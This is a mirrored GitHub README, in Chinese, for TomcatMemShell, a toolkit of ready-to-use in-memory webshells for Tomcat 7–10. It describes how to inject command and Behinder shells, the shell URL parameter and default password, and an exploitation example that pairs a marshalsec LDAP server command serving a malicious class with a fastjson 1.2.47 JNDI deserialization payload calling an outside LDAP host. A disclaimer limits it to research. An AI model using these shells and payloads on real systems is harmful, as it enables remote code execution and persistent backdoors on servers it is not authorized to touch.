Giter Club home page Giter Club logo

tomcatmemshell's Introduction

TomcatMemShell

拿来即用的Tomcat7/8/9/10版本Listener/Filter/Servlet内存马,支持注入CMD内存马和冰蝎内存马

原理及代码分析详见《Tomcat Servlet-Api内存马总结及代码实现》

测试通过的Tomcat版本:

  • tomcat7.0.99(2019-12-17)    tomcat7.0.64(2015-10-14)    tomcat7.0.34(2012-12-11)
  • tomcat8.5.69(2021-07-05)    tomcat8.0.46(2017-08-18)
  • tomcat9.0.12(2018-09-10)    tomcat9.0.53(2021-09-10)
  • tomcat10.0.11(2021-09-10)    tomcat10.1.0-M2(2021-07-02)

说明

主要内容

  1. 实用
  2. 适配对应版本的库和函数,如tomcat10开始javax.servlet更改为jakarta.servlet等
  3. 添加冰蝎内存马的注入代码,方便直接GetShell
  4. 分别总结了.jsp和.java的内存马实现方式,添加了Listener内存马

JSP目录

根据目标环境上传或写入对应大版本的.jsp文件并访问,访问后页面返回>@<即说明注入成功,支持Tomat7/8/9/10版本

见名知义,memlistener8910.jsp表示适用于Tomcat8/9/10版本的Listener CMD内存马,icememfilter7.jsp表示适用于Tomcat7版本的Filter冰蝎内存马

DeSerialize目录

对应的.java文件和.class文件需要结合反序列化漏洞类型进行漏洞利用,如fastjson的jndi或snakeyaml的spi等,支持Tomcat8/9/10版本

不适用于shiro漏洞,shiro漏洞利用需要继承AbstractTranslet类并且修改Header大小,感兴趣的可参考该项目:https://github.com/KpLi0rn/ShiroVulnEnv

见名知义,LRain10表示适用于Tomcat10版本的Listener CMD内存马,IFRain表示适用于Tomcat8/9的Filter冰蝎内存马 (注意java文件修改文件名请与类名保持一致)

对应java文件中StandardContext的获取依据Litch1师傅《基于全局储存的新思路 | Tomcat的一种通用回显方法研究》的Thread.currentThread().getContextClassLoader()方式,该方式不适用于Tomcat7

用法

Listener型/Filter型:

  • CMD内存马URL:xx.xx.xx.xx/?chan=whoami
  • 冰蝎内存马URL:xx.xx.xx.xx/     默认连接密码:goautomne

Servlet型:

  • CMD内存马URL: xx.xx.xx.xx/p?chan=whoami
  • 冰蝎内存马URL: xx.xx.xx.xx/p     默认连接密码:goautomne

利用举例

以fastjson1.2.47版本的反序列化漏洞为例,将对应Tomcat版本的class文件,这里以ILRain.class为例,上传到web服务器,并开启LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx/#ILRain 9102

然后再打入fastjson漏洞的poc,就可以使用冰蝎客户端去连接了

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://xx.xx.xx.xx:9102/123",
        "autoCommit":true
    }
}

免责声明

仅供技术研究,请勿用于非法用途

题外话

觉得有帮助的话烦请给个star:wave:

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.